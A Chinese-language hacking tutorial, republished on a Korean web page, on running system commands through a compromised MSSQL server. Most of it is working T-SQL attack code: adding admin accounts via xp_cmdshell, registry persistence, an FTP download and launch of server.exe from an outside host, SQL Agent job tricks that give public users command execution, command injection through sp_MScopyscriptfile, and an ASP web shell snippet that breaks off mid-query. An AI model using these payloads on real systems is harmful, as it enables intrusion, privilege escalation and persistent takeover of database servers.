데이터 베이스 MySQL 튜토리얼 怎样在MSSQL执行命令

怎样在MSSQL执行命令

Jun 07, 2016 pm 04:21 PM
mssql 주문하다 어떻게 구현하다

假设一台主机开了1433端口我们已通过SQL注入或是空弱密码远程连接 能有哪些办法加一个系统管理员用户呢(或是执行系统命令) 1).XP_CMDSHELL 'cmd.exe /c net user aaa bbb /add' 人人都知道的办法,最大的好处是有回显,但是最怕 if exists (select * from dbo.

  假设一台主机开了1433端口我们已通过SQL注入或是空弱密码远程连接

  能有哪些办法加一个系统管理员用户呢(或是执行系统命令)

  1).XP_CMDSHELL 'cmd.exe /c net user aaa bbb /add'

  人人都知道的办法,最大的好处是有回显,但是最怕

  if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

  exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

  通过上面的T-SQL语句就可以把这个扩展储存删了

  我们一般可以用

  2k:

  EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

  SQL97:

  EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xpsql70.dll'

  就还原了.

  但是有的人知道sp_addextendedproc也只不过是一个储存过程一样可以删除的

  Drop PROCEDURE sp_addextendedproc

  if exists (select * from

  dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and

  OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

  exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'

  还原:

  create procedure sp_addextendedproc --- 1996/08/30 20:13

  @functname nvarchar(517),/* (owner.)name of function to call */

  @dllname varchar(255)/* name of DLL containing function */

  as

  set implicit_transactions off

  if @@trancount > 0

  begin

  raiserror(15002,-1,-1,'sp_addextendedproc')

  return (1)

  end

  /*

  ** Create the extended procedure mapping.

  */

  dbcc addextendedproc( @functname, @dllname)

  return (0) -- sp_addextendedproc

  呀呀写了这么多其实有个最简单的保护办法:

  先NET stop mssqlserver,然后把xplog70.dll(SQL97下用xpsql70.dll)删了

  再把服务打开就可以了

  2)看了上面的你就明白了xp_cmdshell最终是可以被删除的没别的办法了吗?

  有写注册表三:

  xp_regwrite 'HKEY_LOCAL_MacHINE','SOFTWAREMicrosoftWindowscurrentversionrun', 'czy82','REG_SZ', net user czy bb /add

  其实注册表还有好几个地方可以写的比如说注册表中的WEB浏览设置

  用写注册表的办法不好的地方是不但没有回显而且不能马上运行实不实用我也不知道了

  3)

  declare @s int

  exec sp_oacreate "wscript.shell",@s out

  --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo open ASP.7i24.com>c:a.txt"

  --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:a.txt"

  --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:a.txt"

  --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo get server.exe>>c:a.txt"

  --exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo close>>c:a.txt"

  --exec sp_oamethod @s,"run",NULL,"cmd.exe /c ftp -s:c:a.txt"

  exec sp_oamethod @s,"run",NULL,"cmd.exe /c server"

  对了正如你看到的我们还可以使用sp_oacreate和sp_oamethod在它们的作用下我们可以

  调用系统的控件比如说fso,wsh,shell什么的,但是有个问题是并不能象xp_cmdshell那样

  马上看到结果真的不能吗看下面的:

  declare @s int,@o int ,@f int,@str nvarchar(4000)

  /*exec sp_oacreate "wscript.shell",@s out

  exec sp_oamethod @s,"run",NULL,"cmd.exe /c net user>c:temp.txt"*/

  exec sp_oacreate "scripting.filesystemobject", @o out

  exec sp_oamethod @o, "opentextfile", @f out,"c:temp.txt", 1

  exec sp_oamethod @f, "readall",@str out

  print @str

  先执行注解内的然后执行外面的其实原理很简单就是利用>把结果写到一个文件中然后用

  fso来读出来!很实用的

  4)

  use msdb; --这儿不要是master哟

  exec sp_add_job @job_name='czy82';

  exec sp_add_jobstep @job_name='czy82',@step_name = 'Exec my sql',@subsystem='CMDEXEC',@command='dir c:>c:b.txt';

  exec sp_add_jobserver @job_name = 'czy82',@server_name = 'smscomputer';

  exec sp_start_job @job_name='czy82';

  利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql后面的我们就可以

  执行tsql语句了.

  对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名

  第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)

  net start SQLSERVERAGENT

  对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的

  USE msdb

  EXEC sp_add_job @job_name = 'GetSystemOnSQL',

  @enabled = 1,

  @description = 'This will give a low privileged user Access to

  xp_cmdshell',

  @delete_level = 1

  EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',

  @step_name = 'Exec my sql',

  @subsystem = 'TSQL',

  @command = 'exec master..xp_execresultset N''select ''''exec

  master..xp_cmdshell "dir > c:agent-job-results.txt"'''''',N''Master'''

  EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',

  @server_name = '你的SQL的服务器名'

  EXEC sp_start_job @job_name = 'GetSystemOnSQL'

  不要怀疑上面的代码我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以

  才让我们可以以public执行xp_cmdshell

  5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)

  在安焦有文章:?vul_id=2968

  USE msdb

  EXEC sp_add_job @job_name = 'ArbitraryFileCreate',

  @enabled = 1,

  @description = 'This will create a file called c:sqlafc123.txt',

  @delete_level = 1

  EXEC sp_add_jobstep @job_name = 'ArbitraryFileCreate',

  @step_name = 'SQLA

  FC',

  @subsystem = 'TSQL',

  @command = 'select ''hello, this file was created by the SQL Agent.''',

  @output_file_name = 'c:sqlafc123.txt'

  EXEC sp_add_jobserver @job_name = 'ArbitraryFileCreate',

  @server_name = 'SERVER_NAME'

  EXEC sp_start_job @job_name = 'ArbitraryFileCreate'

  如果subsystem选的是:tsql在生成的文件的头部有如下内容

  ??揂rbitraryFileCreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19

  ----------------------------------------------

  hello, this file was created by the SQL Agent.

  (1 ?????)

  所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员

  命令的VBs文件到启动目录!

  6)关于sp_makewebtask(可以写任意内容任意文件名的文件)

  关于sp_MScopyscriptfile 看下面的例子

  declare @command varchar(100)

  declare @scripfile varchar(200)

  set concat_null_yields_null off

  select @command='dir c: > "attackeripsharedir.txt"'

  select @scripfile='c:autoexec.bat > nul" | ' + @command + ' | rd "'

  exec sp_MScopyscriptfile @scripfile ,''

  这两个东东都还在测试试哟

  让MSSQL的public用户得到一个本机的web shell:)

  sp_makewebtask @outputfile='d:smsa.asp',@charset=gb2312,

  --@query='select '''''

  --@query='select '''' '

  @query='select ''

  " method="POST">

본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

뜨거운 기사 태그

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)

Windows 11/10에서 SUDO 명령을 실행하는 방법 Windows 11/10에서 SUDO 명령을 실행하는 방법 Mar 09, 2024 am 09:50 AM

Windows 11/10에서 SUDO 명령을 실행하는 방법

Win11에서 네트워크 카드의 MAC 주소를 확인하는 방법 Win11에서 네트워크 카드의 MAC 주소를 얻는 명령을 사용하는 방법은 무엇입니까? Win11에서 네트워크 카드의 MAC 주소를 확인하는 방법 Win11에서 네트워크 카드의 MAC 주소를 얻는 명령을 사용하는 방법은 무엇입니까? Feb 29, 2024 pm 04:34 PM

Win11에서 네트워크 카드의 MAC 주소를 확인하는 방법 Win11에서 네트워크 카드의 MAC 주소를 얻는 명령을 사용하는 방법은 무엇입니까?

Hyperv 고급 세션 모드는 어디에 있습니까? Win11에서 명령을 사용하여 Hyper-V 고급 세션 모드를 활성화 또는 비활성화하는 팁 Hyperv 고급 세션 모드는 어디에 있습니까? Win11에서 명령을 사용하여 Hyper-V 고급 세션 모드를 활성화 또는 비활성화하는 팁 Feb 29, 2024 pm 05:52 PM

Hyperv 고급 세션 모드는 어디에 있습니까? Win11에서 명령을 사용하여 Hyper-V 고급 세션 모드를 활성화 또는 비활성화하는 팁

Ubuntu에서 PHP를 설치하고 MSSQL 연결을 구성하는 방법에 대한 자세한 가이드 Ubuntu에서 PHP를 설치하고 MSSQL 연결을 구성하는 방법에 대한 자세한 가이드 Feb 29, 2024 am 11:15 AM

Ubuntu에서 PHP를 설치하고 MSSQL 연결을 구성하는 방법에 대한 자세한 가이드

매우 실용적입니다! 당신을 리눅스 마스터로 만들어주는 Sar 명령 매우 실용적입니다! 당신을 리눅스 마스터로 만들어주는 Sar 명령 Mar 01, 2024 am 08:01 AM

매우 실용적입니다! 당신을 리눅스 마스터로 만들어주는 Sar 명령

Linux에서 서비스를 다시 시작하는 올바른 방법은 무엇입니까? Linux에서 서비스를 다시 시작하는 올바른 방법은 무엇입니까? Mar 15, 2024 am 09:09 AM

Linux에서 서비스를 다시 시작하는 올바른 방법은 무엇입니까?

LSOF를 사용하여 실시간으로 포트를 모니터링하는 방법 LSOF를 사용하여 실시간으로 포트를 모니터링하는 방법 Mar 20, 2024 pm 02:07 PM

LSOF를 사용하여 실시간으로 포트를 모니터링하는 방법

Linux의 아티팩트: eventfd의 원리 및 응용 Linux의 아티팩트: eventfd의 원리 및 응용 Feb 13, 2024 pm 08:30 PM

Linux의 아티팩트: eventfd의 원리 및 응용

See all articles